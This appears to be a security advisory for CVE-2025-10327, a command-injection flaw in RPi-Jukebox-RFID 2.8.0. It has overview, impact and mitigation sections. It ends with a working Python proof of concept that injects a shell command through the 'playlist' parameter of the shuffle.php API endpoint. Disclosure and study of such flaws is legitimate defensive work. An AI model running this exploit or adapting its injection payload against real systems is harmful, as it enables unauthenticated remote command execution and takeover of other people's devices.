Overview
The RPi-Jukebox-RFID 2.8.0 vulnerability, identified as CVE-2025-10327, is a critical remote command execution flaw that affects the RPi-Jukebox-RFID project. This vulnerability allows an unauthenticated attacker to execute arbitrary commands on the server hosting the application, potentially leading to complete system compromise.
Technical Details
This vulnerability arises from improper input validation in the command-handling functionality of RPi-Jukebox-RFID. When the application processes requests, it fails to adequately sanitize user input, allowing attackers to craft malicious payloads. By exploiting this flaw, an attacker can send specially crafted HTTP requests containing shell commands that the application executes with the same privileges as the user running the service.
For example, an attacker might exploit this vulnerability by sending a request to the vulnerable endpoint with a payload that includes a command to download and execute a malicious script from an external server. This can be achieved without authentication, making it particularly dangerous for systems exposed to the internet.
Impact
The consequences of this vulnerability are severe. Successful exploitation can lead to unauthorized access to sensitive data, installation of malware, or complete control over the affected system. This not only jeopardizes the integrity and confidentiality of the system but also poses a significant risk to the broader network, potentially allowing lateral movement and further exploitation.
Mitigation
To protect against CVE-2025-10327, it is imperative for system administrators to update RPi-Jukebox-RFID to the latest version, which addresses this vulnerability. Regularly applying security patches is crucial in maintaining a secure environment. Additionally, implementing a web application firewall (WAF) can help filter out malicious requests before they reach the application.
Furthermore, organizations should adopt a principle of least privilege, ensuring that the application runs with minimal permissions necessary for its operation. This limits the potential impact of an exploit. Lastly, conducting regular security assessments and penetration testing can help identify and remediate vulnerabilities before they can be exploited by malicious actors.
Proof of Concept (PoC)
# Exploit Title: RPi-Jukebox-RFID 2.8.0 - Remote Code Execution
# Date: 2025-09-25
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://github.com/MiczFlor/RPi-Jukebox-RFID
# Software Link: https://github.com/MiczFlor/RPi-Jukebox-RFID/releases/tag/v2.8.0
# Version: 2.8.0
# Tested on: Raspberry Pi OS with RPi-Jukebox-RFID v2.8.0
# CVE: CVE-2025-10327
#
# Description:
# This PoC demonstrates an OS command injection vulnerability in the shuffle.php API endpoint.
# The vulnerable parameter "playlist" is passed directly to a shell command without sanitization,
# allowing an attacker to execute arbitrary system commands.
import requests
import json
# Replace this with the actual target IP or hostname
TARGET = "http://YOUR-TARGET-IP/phoniebox/api/playlist/shuffle.php"
# Payload to inject – here we create a file as proof of execution
INJECTED_COMMAND = "test';touch rced_by_xu17.txt;echo '"
# JSON payload for the request
payload = {
"playlist": INJECTED_COMMAND,
"shuffle": "true"
}
# HTTP headers
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0"
}
def exploit():
print("[+] Sending malicious JSON payload to trigger command injection...")
try:
response = requests.put(TARGET, headers=headers, data=json.dumps(payload), timeout=5)
print(f"[+] HTTP Status Code: {response.status_code}")
print("[*] If the target is vulnerable, the command should be executed on the server.")
except Exception as e:
print(f"[-] Exploit failed: {e}")
if __name__ == "__main__":
exploit()